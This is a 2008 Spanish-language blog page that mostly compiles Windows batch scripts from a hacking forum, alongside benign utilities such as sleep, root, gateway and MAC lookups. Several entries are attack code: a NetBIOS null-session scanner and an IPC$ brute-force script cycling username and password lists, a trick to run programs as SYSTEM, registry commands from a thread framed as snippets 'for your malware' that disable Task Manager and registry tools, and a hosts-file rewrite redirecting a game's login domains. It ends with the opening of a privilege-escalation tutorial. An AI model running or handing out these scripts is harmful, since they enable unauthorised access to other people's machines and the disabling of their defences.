jueves, 31 de julio de 2008

codigos bacth

informacion desde: http://foro.elhacker.net/scripting/libreria_de_funciones_y_scripts_batch_actualizado_260507-t163184.0.html


Renombrar un archivo a su fecha de creación:

Código:
: Sintaxis
: nombrebat archivo_a_renombrar
: Autor ne0x

@echo off
if not exist %1 echo Error ! & goto :EOF
set fechaYhora=%~t1
set fecha=%fechaYhora:~0,10%
set fecha=%fecha:/=-%
ren %1 %fecha%%~x1


Scripts NetBIOS


Primero hace ping's y despues checa NetBIOS:

Código:
    @echo off
:: Script de scanner NetBIOS por ne0x
set /p ip=3 primeros grupos Ip :
if .%ip%==. echo Error&goto END

FOR /L %%a IN (1,1,225) DO (
ping -n 1 %ip%.%%a | find "Respuesta desde" && echo %ip%.%%a >> tmp.tmp
)
FOR /F %%a IN (tmp.tmp) DO (
 nbtstat -a %%a | find "<20>"
 )
del tmp.tmp

:END
echo Pulse una tecla para salir
pause>nul
exit 0



Intenta iniciar sesion nula y si lo consigue lo muestra

Código:
@echo off
:: Script de scanner NetBIOS por ne0x
set /p ip=3 primeros grupos de la ip :
if .%ip%==%ip% exit 1
FOR /L %%i IN (1,1,255) DO net use \\%ip%.%%i\ipc$ "" /u:"" 2>> nul && echo Sesion nula en : %ip%.%%i



Usa una lista de users y pass para conseguir accesos

Código:
    @echo off
:: Script de scanner NetBIOS por ne0x
set /p ip=Escribe la ip
if .%ip%==. exit 1
for /f %%a IN (ruta_logins) DO (
FOR /F %%i IN (ruta_pass) DO net use \\%ip%\ipc$ %%i /u:%%a >nul &&
echo IP: %ip% login: %%a pass: %%i
)


Basados en un antiguo texto del foro de HxC


Algoritmos de búsquedas


Buscar comandos en todos los archivos por lotes, FOR:

Código:
:: Autor ne0x
echo. > %TMP%\lista.tmp
for %%A IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%A:\ (
  cd /D %%A:\
  for /R %%E IN (*.cmd) DO echo %%E >> %TMP%\lista.tmp
  for /R %%E IN (*.bat) DO echo %%E >> %TMP%\lista.tmp
  )
  )
for /F %%I IN (lista de comandos) DO (
for /F %%J IN (%TMP%\lista.tmp) DO (
  find "%%I" "%%J" > nul
  if %errorlevel%==0 echo Comando %%I encontrado en %%J
 )
 )



Función Sleep


Código:
:: Autor ne0x
:: Declaración de la función

:sleep
:: Sintaxis:
:: call:sleep [-s/-m] [x]

:: -s Indicamos los segundos a esperar
:: -m Indicamos los milisegundos a esperar
:: x Cantidad de segundos/milisegundos a esperar

if %1==-s (set /a tiempo=1+%2 && ping -n %tiempo% 127.0.0.1 > nul )
if %1==-m (ping -n 1 127.0.0.1 -w %2 > nul)
goto:EOF


Calcular raices


Código:
:: Autor Sdc
@echo off
if NOT "%~1"=="vv" (cmd /v /c %~nx0 vv^&exit&goto:EOF)
set /P x=Valor:
FOR /L %%i IN (%x%,-2,1) DO (
set /A y=%x%/%%i
IF /I !y! EQU %%i (
echo %%i
goto:EOF
)
)

Código:
:: Autor ne0x
@echo off
set /P x=Valor :
:BUCLE
set /a cont=cont+1
set /a multi=cont*cont
if %multi%==%x% echo Raiz: %cont%&pause&goto:EOF
if %multi% GTR %x% echo El valor no tiene raiz entera&pause&goto:EOF
goto BUCLE

Calcular potencias

Código:
:: Autor ne0x
@echo off
set /P BASE=Base :
set /P EXPONENTE=Exponente :
if %BASE%.==. exit 1
if %EXPONENTE%.==. exit 1
set resultado=1
FOR /L %%A IN (1,1,%EXPONENTE%) DO set /A resultado=resultado*BASE
echo Resultado : %resultado%
goto:EOF



Función, saber las lineas de un archivo


Código:
:: Autor ne0x
:: Sintaxis

:: call:lineas [ruta] [variable]
:: ruta Ruta del archivo
:: variable Nombre de la variable en la que se almacenara el resultado

:lineas
set cont=0
if not exist %1 goto:EOF
for /F %%A IN (%1) DO call:texto
set %2=%cont%
goto:EOF

:texto
set /a cont=1+cont
goto:EOF

Funcion GetOS:

Código:
 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:GetOS os
::
:: By:   Ritchie Lawrence, 2003-09-18. Version 1.0
::
:: Func: Returns the O/S version; NT40, 2000, 2002 or 2003.
::       For NT4/2000/XP/2003.
::
:: Args: %1 var to receive O/S version (by ref)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEEXTENSIONS & set "cmd=net config work^|findstr/b /c:"Soft""
for /f "tokens=1-2 delims=." %%a in ('%cmd%') do (
for %%z in (%%a%%b) do set o=%%z)
endlocal & set "%1=%o:40=NT40%" & (goto :EOF)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Funciones de comprobaciones

Funcion, averiguar si un servicio esta corriendo:

Código:
:: Autor ne0x
:: Sintaxis:

:: call:svc nombre variable
:: nombre Nombre del servicio a chequear
:: variable Nombre de la variable en la que se pondra la respuesta en dato boleano

:svc
net start | find "%~1" > nul
if %errorlevel%==0 (
set %2=0
) ELSE (
set %2=1
)
goto:EOF

Funcion, averiguar si se ha iniciado un proceso:

Código:
:: Autor ne0x
:: Sintaxis

:: call:pr nombre variable
:: nombre Nombre del proceso a chequear
:: variable Nombre de la variable en la que se guardara la respuesta en tipo boleano.

:pr
taskklist | find "%~1"
if %errorlevel%==0 (
set %2=0
) ELSE (
set %2=1
)
goto:EOF


Funcion TIMER


Código:
  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Timer ID
::
:: By:   Ritchie Lawrence, 2002-10-10. Version 1.0
::
:: Func: Returns number of seconds elapsed since the function was last
::       called and first called. For NT4/2000/XP/2003.
::
:: Args: %1 (by ref) The first time this function is called, this variable
::       is initialised to '  ' where  and 
::       are zero and  is the number of elapsed seconds since
::       1970-01-01 00:00:00. This value is used by subsequent calls to
::       determine the elapsed number of seconds since the last call
::       () and the first call ().
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEEXTENSIONS&call set ID=%%%1%%
set t=2&if "%date%z" LSS "A" set t=1
for /f "skip=1 tokens=2-4 delims=(-)" %%a in ('echo/^|date') do (
for /f "tokens=%t%-4 delims=.-/ " %%d in ('date/t') do (
set %%a=%%d&set %%b=%%e&set %%c=%%f))
for /f "tokens=5-7 delims=:. " %%a in ('echo/^|time') do (
set hh=%%a&set nn=%%b&set ss=%%c)
set /a dd=100%dd%%%100,mm=100%mm%%%100
set /a z=14-mm,z/=12,y=yy+4800-z,m=mm+12*z-3,j=153*m+2
set /a j=j/5+dd+y*365+y/4-y/100+y/400-2472633
set /a hh=100%hh%%%100,nn=100%nn%%%100,ss=100%ss%%%100
set /a j=j*86400+hh*3600+nn*60+ss
for /f "tokens=1-3 delims= " %%a in ('echo/%ID%') do (
set l=%%a&set f=%%b&set c=%%c)
if {%c%}=={} endlocal&set %1=0 0 %j%&goto :EOF
set /a l=j-c-l,f+=l
endlocal&set %1=%l% %f% %c%&goto :EOF
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Funcion, obtener Puerta de enlace:

Código:
:: Autor ne0x
:: Sintaxis

:: call:dg  variable
:: variable Nombre de la variable en la que se almacenara la IP de la puerta de enlace

:dg
ipconfig | find "Puerta de enlace . . . . . 1" > %TMP%\rd.tmp
for /F %%A "tokens=11" IN (%TMP%\rd.tmp) DO set %2=%%A
goto:EOF

Código:
  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:GetDG dg
::
:: By:   Ritchie Lawrence, 2003-09-22. Version 1.0
::
:: Func: Obtains the default gateway. For NT4/2000/XP/2003.
::       If functions fails, 0.0.0.0 is returned.
::
:: Args: %1 var to receive default gateway (by ref)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEEXTENSIONS & set "g=0.0.0.0" & set "j="
for /f "tokens=3" %%a in ('route print^|findstr 0.0.0.0.*0.0.0.0') do (
if not defined j for %%b in (%%a) do set "g=%%b" & set "j=1")
endlocal & set "%1=%g%" & goto :EOF
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Funcion GetIP

Código:
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:GetIP ip
::
:: By:   Ritchie Lawrence, 2003-09-22. Version 1.0
::
:: Func: Obtains the IP address of primary adapter. For NT4/2000/XP/2003.
::       If functions fails, 0.0.0.0 is returned.
::
:: Args: %1 var to receive IP address (by ref)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEEXTENSIONS & set "i=0.0.0.0" & set "j="
for /f "tokens=4" %%a in ('route print^|findstr 0.0.0.0.*0.0.0.0') do (
if not defined j for %%b in (%%a) do set "i=%%b" & set "j=1")
endlocal & set "%1=%i%" & goto :EOF
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Funcion GetMAC

Código:
  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:GetMAC mac
::
:: By:   Ritchie Lawrence, 2003-09-24. Version 1.0
::
:: Func: Obtains the MAC address of the primary adapter in the format of
::       XX-XX-XX-XX-XX-XX. If the function fails 00-00-00-00-00-00 is
::       returned. For NT4/2000/XP/2003.
::
:: Args: %1 var to receive MAC address (by ref)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEEXTENSIONS & set "m=00-00-00-00-00-00" & set "i=" & set "j="
set "n=0" & set "c=ipconfig/all" & set "f=findstr"
for /f "tokens=4" %%a in ('route print^|findstr 0.0.0.0.*0.0.0.0') do (
if not defined j for %%b in (%%a) do set "i=%%b" & set "j=1") & set "j="
if not defined i endlocal & set "%1=%m%" & goto :EOF
for /f "delims=:" %%a in ('%c%^|%f%/n IP.Address.*%i%') do set /a n=%%a-6
for /f "delims=" %%a in ('%c%^|more/e +%n%^|%f% Physical.Address') do (
if not defined j for %%b in (%%a) do set "m=%%b" & set "j=1")
endlocal & set "%1=%m%" & goto :EOF
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


Funcion GetNA

Código:
  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:GetNA na
::
:: By:   Ritchie Lawrence, 2003-09-22. Version 1.0
::
:: Func: Obtains network address of primary adapter. For NT4/2000/XP/2003.
::       If functions fails, 0.0.0.0 is returned.
::
:: Args: %1 var to receive network address (by ref)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEEXTENSIONS & set "i=0.0.0.0" & set "n=0.0.0.0" & set "j="
for /f "tokens=4" %%a in ('route print^|findstr 0.0.0.0.*0.0.0.0') do (
if not defined j (for %%b in (%%a) do set "i=%%b" & set j=1)) & set "k="
for /f "skip=1 tokens=1,3-4" %%a in ('route print^|findstr/b /c:" "') do (
for %%e in (%%a) do set "x=%%e" & for %%f in (%%b) do set "y=%%f"
for %%g in (%%c) do set "z=%%g"
for /f "tokens=1-3" %%a in ('echo/%%x%% %%y%% %%z%%') do (
if not defined k if "%%c"=="%i%" if "%%b"=="%i%" set k=1 & set n=%%a))
endlocal & set "%1=%n%" & goto :EOF
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Funcion GetSM

Código:
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:GetSM sm
::
:: By:   Ritchie Lawrence, 2003-09-22. Version 1.0
::
:: Func: Obtains the subnet mask of primary adapter. For NT4/2000/XP/2003.
::       If functions fails, 0.0.0.0 is returned.
::
:: Args: %1 var to receive subnet mask (by ref)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEEXTENSIONS & set "i=0.0.0.0" & set "m=0.0.0.0" & set "j="
for /f "tokens=4" %%a in ('route print^|findstr 0.0.0.0.*0.0.0.0') do (
if not defined j (for %%b in (%%a) do set "i=%%b" & set j=1)) & set "k="
for /f "skip=1 tokens=2-4" %%a in ('route print^|findstr/b /c:" "') do (
for %%e in (%%a) do set "x=%%e" & for %%f in (%%b) do set "y=%%f"
for %%g in (%%c) do set "z=%%g"
for /f "tokens=1-3" %%a in ('echo/%%x%% %%y%% %%z%%') do (
if not defined k if "%%c"=="%i%" if "%%b"=="%i%" set k=1 & set m=%%a))
endlocal & set "%1=%m%" & goto :EOF
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 


Script para extraer el PID de un proceso


Código:
@echo off
:: Script para extraer el PID de un proceso
:: By Sdc
FOR /F "tokens=1,2" %%i IN ('tasklist') DO (
IF "%%i"=="PROCESO1.exe" (
SET pid1=%%j
)
IF "%%i"=="PROCESO2.EXE" (
SET pid2=%%j
)
)



Script para extraer el valor de una clave del registro

Código:
@echo off
:: Script para extraer el valor de una clave del registro
:: By nhaalclkiemr
:: Special thanks to Sdc
reg export "RUTA_CLAVE" "temp.tmp"
if not %errorlevel%==0 goto error
type temp.tmp | find "NOMBRE_CLAVE" > cadena_encontrada.tmp
del /S /F /Q /A:- temp.tmp
FOR /F "tokens=2* delims==" %%I IN (cadena_encontrada.tmp) DO set var="%%I"
if "%var%"=="" goto error
FOR /F "tokens=2* delims==" %%I IN (cadena_encontrada.tmp) DO (
call:PARSEA %%I
)
goto :EOF
:PARSEA
del /S /F /Q /A:- cadena_encontrada.tmp
SET PP="%~1"
SET PP=%PP:\\=\%
SET PP=%PP:"=%
:: Aqui va el bat, el valor de la clave queda guardado en la variable PP
exit
:error
:: Aqui va el bat de error en caso de que la RUTA_CLAVE o NOMBRE_CLAVE no exista
exit



Script para ejecutar un archivo BAT con salida nula

Código:
@echo off
:: Script para ejecutar un archivo BAT con salida nula
:: By nhaalclkiemr
if exist temp.bat goto mibat
copy /Y %0 temp.bat>>NUL
call temp.bat>>NUL
exit
:mibat
:: Aqui va el bat
del /S /F /Q /A:- temp.bat
exit


Conocer si el valor de una variable es un numero o otro caracter

Código:
:: Conocer si el valor de una variable es un numero o otro caracter
:: By Sdc
:: Aqui partimos de que tenemos una variable r
set /a x=%r%*1
if "%x%"=="%r%" (REM Es un numero) else (REM No es un numero)



Ejecutar una aplicación como SYSTEM


Código:
@echo off
:: Ejecutar una aplicación como SYSTEM
:: Puedes ejecutarla inmediatamente o programarla para cuando quieras
:: Tal como está el codigo está programado para ejecutar al intantante la aplicación
:: Borra los comentarios REM para ahorrar codigo y fijate en lo que pone
:: By nhaalclkiemr
set a=0
set z=%TIME:~0,2%
if "%TIME:~0,1%"==" " set z=0%TIME:~1,1%
if "%TIME:~8,1%"=="," goto normal
if "%TIME:~10,1%"=="," goto 2caso
if "%TIME:~12,1%"=="," goto 3caso
:normal
set x=%TIME:~3,2%
goto a
:2caso
set x=%TIME:~4,2%
goto a
:3caso
set x=%TIME:~5,2%
:a
set /A a=%a%+1
if "%x%"=="08" set x=8
if "%x%"=="09" set x=9
if "%a%"=="1" set /A x=%x%+1
REM El segundo 1 especifica el tiempo en minutos que tardará en ejecutarse la aplicación, es modificable
REM Solo se puede sumar como máximo 86400 minutos, de lo contrario pueden producirse errores
:e
if %x% GTR 59 set /A z=%z%+1
if %z% GTR 23 set /A z=%z%-24
for /L %%A in (0,1,9) do if "%z%"=="%%A" set z=0%z%
if %x% GTR 59 set /A x=%x%-60
if %x% GTR 59 goto e
at.exe %z%:%x% AQUITUPROGRAMA.EXE
REM En lugar de lo anterior puedes poner lo siguiente si quieres que la aplicacion sea visible:
REM at.exe %z%:%x% /interactive AQUITUPROGRAMA.EXE
REM %z% y %x% son la hora y los minutos a los que se ejecutará la aplicación, puedes poner otra cosa si quieres
if %a%==11 goto b
if not %errorlevel%==0 goto a
schtasks /run /tn at1
REM Esta ultima linea ejecuta inmediatamente la aplicación, si la estás programando para una hora determinada borra esta linea
exit
:b
set a=0
if %x% LEQ 9 set x=0%x%
:c
set /A a=%a%+1
schtasks /create /tn temp /tr AQUITUPROGRAMA.EXE /sc once /st %z%:%x%:00 /ru System
REM Esto se ejecutará en caso de que el comando AT falle, es un intento alternativo, de esta manera no se puede hacer visible
if %a%==11 goto error
if not %errorlevel%==0 goto c
schtasks /run /tn temp
REM Esta ultima linea ejecuta inmediatamente la aplicación, si la estás programando para una hora determinada borra esta linea
exit
:error
:: Aqui va el BAT que se ejecuta en caso de que se produzca un error


Configuracion IP

Código:
:: Autor: pantocrator
:: MAs información: http://pantocrator-blog.blogspot.com/

@Echo OFF
echo [requerido] Primer parametro %1 es para ip estatica.
echo [requerido] Segundo parametro %2 es la mascara de red.
echo [requerido] Tercer parametro %3 es la puerta de enlace.
echo [opcional] Cuarto parametro %4 es el servidor dns primario
If [%1] == [] GOTO QUIT
If [%2] == [] GOTO QUIT
If [%3] == [] GOTO QUIT
echo Starting %0
Echo ....................Configurando IP address en Conexi¢n de rea local a %1 con NetMask %2
netsh interface ip set address name="Conexi¢n de rea local" source=static addr=%1 mask=%2
Echo ....................Configurando Gateway en Conexi¢n de rea local a %3
netsh interface ip set address name="Conexi¢n de rea local" gateway=%3 gwmetric=1
If [%4] == [] GOTO QUIT
Echo ....................Configurando DNS en Conexi¢n de rea local a %4
netsh interface ip set dns name="Conexi¢n de rea local" source=static addr=%4 register=primary
GOTO QUIT

:QUIT
ECHO ON




:dec2hex
set hexstr=0123456789ABCDEF
set last=
set /A dec= %1
:loop2
set /A ths=%dec% %% 16
call:evals "%%hexstr:~%ths%,1%%"
if /I %dec% GEQ 16 (
set /A dec=%dec%/16
) else (
goto:EOF
)
goto:loop2
goto:EOF
:evals
set last=%~1%last%
goto:EOF



(Este script lo que hace es tomar una url, y añadir dos dominios de ella al archivo hosts. Por ejemplo si ingreso como url:
direccionnula.com
se añade:
0.0.0.0 direccionnula.com
0.0.0.0 www.cmd.com
La gracia es que acepta un parámetro de un archivo con una lista de direcciones.
Ejemplo:
LockUrl.cmd listado.txt).


:: guarda tu ip en la variable "%tuip%"
:: by riva
@echo off
ipconfig /all>tuip.txt
FOR /f "tokens=2 delims=:" %%a in ('find /I " IP" tuip.txt') do (set tuip=%%a)
del tuip.txt



::Lock Url 4.3
::by CarlitoS.dll

@echo off

set FILE=%SystemRoot%\system32\drivers\etc\hosts
set IP=0.0.0.0
set argfile=%1

:start
call :logo
call :mode
exit

:lock
echo.
set url=
set /p url="Enter Url: "
:yesorno
echo.
echo You joined address: %url%
set confirm=
set /p confirm="Is that correct? [y/n]"
if /i "%confirm%"=="y" (goto verify_0)
if /i "%confirm%"=="n" (goto start)
goto yesorno

:attrib
if not exist "%FILE%" (call: error)
if exist "%FILE%" (attrib -r "%FILE%">NUL)
goto :EOF

:mode
if exist "%argfile%" (goto argmode)
if not exist "%argfile%" (goto lock)
got :EOF

:argmode
for /f %%a in (%argfile%) do set url=%%a & call :verify_1 & set url=
goto exit

:verify_0
if "%url%"=="" (echo You put blank url. Please press any key for try again & pause>NUL & goto start)
if /i "%url:~0,4%"=="www." (goto with0)
goto without0

:verify_1
if /i "%url:~0,4%"=="www." (goto with1)
goto without1

goto :EOF

:with0
call :with1
goto message

:without0
call :without1
goto message

:with1
call :attrib
echo %IP%    %url:~4%>>"%FILE%"
echo %IP%    www.%url:~4%>>"%FILE%"
goto :EOF

:without1
call :attrib
echo %IP%    %url%>>"%FILE%"
echo %IP%    www.%url%>>"%FILE%"
goto :EOF


:message
echo.
echo If you are receive message "Access Denied" it is because you do not have sufficient privileges.
echo If not. Is OK.
goto again


:again
echo.
set again=
set /p again="Add other url? [y/n]"
if /i "%again%"=="y" (goto start)
if /i "%again%"=="n" (goto exit)
goto again

:error
echo.>>"%FILE%"
goto :EOF

:logo
cls
echo \--------------------/
echo \ Lock Web Site v4.3 /
echo \--------------------/
echo.
call :attrib
goto :EOF

:exit
exit

::Lock Url 4.3
::by CarlitoS.dll





Función sleep sin uso de comandos externos:

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::                                                ::::::::
:::::::: FUNCTION SLEEP WITHOUT USING EXTERNAL COMMANDS ::::::::
::::::::                                                ::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::                                                            ::
::  Get a parameter 1% with the number of seconds to wait.    ::
::  Use the following variables: limit cont mirror1 mirror2   ::
::  Use the following variables: SLEEP time increment count   ::
::  $author CarlitoS.dll                                      ::
::                                                            ::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

@echo off

:SLEEP
if "%1"=="" (goto :eof)
set /a limit=0
set /a limit=%1
if %limit% LEQ 0 (goto :eof)
set /a cont=0
:time
set mirror1=%time:~-4,1%
:increment
set mirror2=%time:~-4,1%
if not %mirror2%==%mirror1% (goto count)
goto increment
:count
set /a cont +=1
if "%cont%"=="%limit%" (goto :eof)
goto time
goto :eof



::DETECTOR OF REMOVABLE DEVICES [V5.0c Final] author CarlitoS.dll
::carlitosdll.blogspot.com
::Tested in Windows 2000 and XP. Not works in Windows 98 and Me.

@echo off
if "%errorlevel%"=="" goto other

echo Mounted removable devices detected
echo ----------------------------------

ver | findstr "2000 NT" >NUL && goto NT2000

:XPVISTASEVEN
for /f "tokens=3 delims=\:" %%a in ('reg query HKLM\SYSTEM\MountedDevices ^| find "530054004F00520041"') do (
dir /a %%a:\ >NUL 2>&1 && echo.%%a:)
pause
goto :eof

:NT2000
regedit /e "%temp%\devices.dat" "HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices"
for /f "tokens=3 delims=\:" %%a in ('find /i "DosDevices" ^< "%temp%\devices.dat" ^| find /i "53,00,54,00,4f,00,52,00,41"') do ( dir /a %%a:\ >NUL 2>&1 && echo.%%a:)
del /f /q "%temp%\devices.dat" >NUL
pause
goto :eof

:other
echo Current batch is not supported in this Operating System version.
exit



Almacenar ip despues de un ping 

@echo off
title http://ismaw34host.no-ip.info/ - Modificador del archivo de hosts
cls
set a=echo
%a% Bienvenido, se va a modificar el archivo de hosts de WinXP (32 bits)
%a% Asegurese que al modificar, no exista otra linea de host: l2auth.lineage2.com o l2testauthd.lineage2.com
pause
goto Opciones

:Opciones
cls
%a% Opciones:
%a% 1 - No estoy seguro de no tener l2auth.lineage2.com o l2testauthd.lineage2.com
%a%     en mi host quiero abrirlo manualmente con el Bloc de Notas
%a% 2 - Escribir el host
%a% 3 - Restaurar el host anterior (antes del cambio, como si no se hubiese usado
%a%     el escribir host)
%a% 4 - Rescribir el host por cambio de IP (Se debe haber usado la opcion de
%a%     escribir el host, anteriormente, para usar esta opcion)
%a% 5 - Salir
set /p Opc=Elige una opcion:
IF %Opc%==1 goto Comprueba
IF %Opc%==2 goto Escribir
IF %Opc%==3 goto Restaurar
IF %Opc%==4 goto Reescribir
IF %Opc%==5 goto Salir
IF %Opc%=="" goto error

:error
%a% No ha escrito ninguna opcion, escriba un numero
pause
goto Opciones

:Comprueba
%a% Abriendo hosts
attrib -r %windir%\system32\drivers\etc\hosts
cmd /c notepad %windir%\system32\drivers\etc\hosts
%a% Archivo cerrado, pulsa una tecla para volver al menu
attrib +r %windir%\system32\drivers\etc\hosts
pause
goto Opciones

:Escribir
%a% Haciendo un backup del archivo original
cd %windir%\system32\drivers\etc
del hosts_Ismaw34.bak
copy hosts c:\
cd c:\
ren hosts hosts_ismaw34.bak
copy hosts_Ismaw34.bak %windir%\system32\drivers\etc
del hosts_ismaw34.bak
cd %windir%\system32\drivers\etc
attrib hosts_Ismaw34.bak +r
%a% Escribiendo el host
attrib hosts -r
echo 216.107.250.194 nprotect.lineage2.com ## added by "http://ismaw34host.no-ip.info/">> %windir%\system32\drivers\etc\hosts
ping ismaw34host.no-ip.info > IP_ping.txt
FOR /F "skip=4 tokens=3 delims= " %%a IN (IP_ping.txt) DO call :func %%a

:func
set var=%1
set var=%var::=%
echo %var% L2auth.lineage2.com ## added by "http://ismaw34host.no-ip.info/">> %windir%\system32\drivers\etc\hosts
echo %var% L2testauth.lineage2.com ## added by "http://ismaw34host.no-ip.info/">> %windir%\system32\drivers\etc\hosts
del /q IP_ping.txt
attrib hosts +r
%a% Si tiene Windows Defender, o cualquier otro programa que detecte los cambios del archivo de hosts, acepte el cambio.
Pause
%a% Fin de la modificacion, y gracias por elegir nuestro servidor.
%a% Recuerde que si tiene mas de 1 servidor a elegir, borre o añada # delante de la linea.
pause
goto Salir

:Restaurar
%a% Se va a restaurar el archivo de hosts, su usara un backup hecho previamente
cd %windir%\system32\drivers\etc
attrib hosts_Ismaw34.bak -r
attrib hosts -r
del hosts
ren hosts_ismaw34.bak hosts
attrib hosts +r
%a% Archivo restaurado
pause
goto Salir

:Reescribir
%a% Se va a restaurar el archivo de hosts, su usara un backup hecho previamente
cd %windir%\system32\drivers\etc
attrib hosts_Ismaw34.bak -r
attrib hosts -r
del hosts
ren hosts_ismaw34.bak hosts
attrib hosts +r
%a% Archivo restaurado
%a% Haciendo un backup del archivo original
cd %windir%\system32\drivers\etc
copy hosts c:\
cd c:\
ren hosts hosts_ismaw34.bak
copy hosts_ismaw34.bak %windir%\system32\drivers\etc
del hosts_ismaw34.bak
cd %windir%\system32\drivers\etc
attrib hosts_ismaw34.bak +r
%a% Escribiendo el host
attrib hosts -r
echo 216.107.250.194 nprotect.lineage2.com ## added by "http://ismaw34host.no-ip.info">> %windir%\system32\drivers\etc\hosts
ping ismaw34host.no-ip.info > IP_ping.txt
FOR /F "skip=4 tokens=3 delims= " %%a IN (IP_ping.txt) DO call :func2 %%a

:func2
set var=%1
set var=%var::=%
echo %var% L2auth.lineage2.com ## added by "http://ismaw34host.no-ip.info/">> %windir%\system32\drivers\etc\hosts
echo %var% L2testauth.lineage2.com ## added by "http://ismaw34host.no-ip.info/">> %windir%\system32\drivers\etc\hosts
del /q IP_ping.txt
attrib hosts +r
%a% Si tiene Windows Defender, o cualquier otro programa que detecte los cambios del archivo de hosts, acepte el cambio.
Pause
%a% Fin de la modificacion, y gracias por elegir nuestro servidor.
%a% Recuerde que si tiene mas de 1 servidor a elegir, borre o añada # delante de la linea.
pause
goto Salir

:Salir
%a% Para resolver sus dudas y leer lar reglas internas del servidor vaya a http://ismaw34host.no-ip.info/ y registrese
%a% Created by: Ismaw
pause
exit



FUENTE DESDE:http://foro.elhacker.net/scripting/batch_codigos_interesantes_para_tus_malware_by_ev3n-t221829.0.html
Desactivar el administrador de tareas:
Código:
Reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d "1" /f

Quitar la opcion de "restaurar sistema" borrando un archivo:
Código:
Del /q /s "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.ink"

Bloquear el registro:
Código:
Reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d "1" /f

martes, 29 de julio de 2008

blogs interesantes

Este resumen no está disponible. Haz clic aquí para ver la publicación.

miércoles, 23 de julio de 2008

hacking

nota: estetutorial es de la pagina:http://www.mygeekside.com

Señores aquí me tienen nuevamente, hoy les hablaré de una característica no muy conocida en uno de los tan usados sistemas operativos de Microsoft®: Windows XP.

Empecemos definiendo qué es la escalación de privilegios: Es el acto de aprovechar una falla en alguna aplicación de software para obtener acceso a recursos que normalmente estuvieran protegidos por alguna aplicación o usuario.

Lo que describo en este post es una falla que salió hace más de 1 año y medio y aún está activa en muchos sistemas. No pretendo decir que esta falla ha sido descubierta por mí. Alguien lo hizo y publicó lo que supo. Pasó el tiempo e imagino que más de uno lo usó para su propio beneficio.

Ahora, porqué no aprovechar este conocimiento para el bien? Pues sí, también se puede hacer, y lo describiré pues en más de una oportunidad me ayudó, desde poder recuperar información, restaurar contraseñas y cuentas de usuarios hasta para poder eliminar virus de manera satisfactoria.

Es posible también que a muchos usuarios ya nos les funcione lo que aquí describiré, pues algunos parches y/o actualizaciones del Sistema Operativo ya corrigieron este error. Si te funciona, en buena hora, al menos a mí hasta ahora me ha funcionado y en el 90% de equipos que he manipulado he logrado hacer esto.

Ahora, un poco de teoría. Cuando el sistema Operativo inicia, muchos de los procesos y servicios se ejecutan con una cuenta Local llamada System. La cuenta Local System es una cuenta a la que los usuarios “mortales” como nosotros no deberíamos tener acceso jamás, pues si la cuenta de Administrador es lo máximo ya que tienes “todos” los permisos y accesos a los recursos del sistema, la cuenta System es el Supremo Administrador, osea algo como el Administrador de administradores.

Te estarás preguntando y para qué existe la cuenta System, pues la verdad no lo sé, jajaja, es broma, si lo sé y te diré porqué. Hay recursos y servicios del sistema que son críticos para el funcionamiento del mismo, significa que ni siquiera el mismo Administrador debería poder manipularlos, esto significó que se debía crear una cuenta Local pero a la cual sólo pueda acceder el mismo sistema operativo, más no los usuarios ni siquiera el mismo Administrador. Y así lo hicieron…
Si te has percatado alguna vez cuando hiciste Ctrl+Alt+Supr en el Administrador de Tareas habrás visto procesos ejecutados por la cuenta System y otras por el Usuario que en ese momento está logueado.

Muchos de estos procesos ejecutados por System son tan críticos que si intentas terminar algunos de estos procesos o bien te niega el acceso y no lo puedes terminar o si lo terminas el sistema entra en una inestabilidad crítica.

Pues ahora vamos a ver cómo a partir de una cuenta de Administrador o con permisos de Administrador podemos elevar nuestros privilegios y conseguir la tan ansiada cuenta System.

Para este ejemplo usaremos 2 cuentas:

  1. Cuenta VM_Felipe, que es una cuenta con privilegios de Administrador. Veremos que con la cuenta VM_Felipe a pesar de tener privilegios Administrativos no se puede acceder a las Carpetas de las cuentas de otros Administradores, en este caso a la cuenta del Administrador
  2. Cuenta Administrador, a esta cuenta entraremos usando la cuenta System. Accederemos a las carpetas del administrador para recuperar la Carpeta Escritorio, Mis Documentos y la carpeta donde almacena sus correos ya que es información muy importante para la empresa.

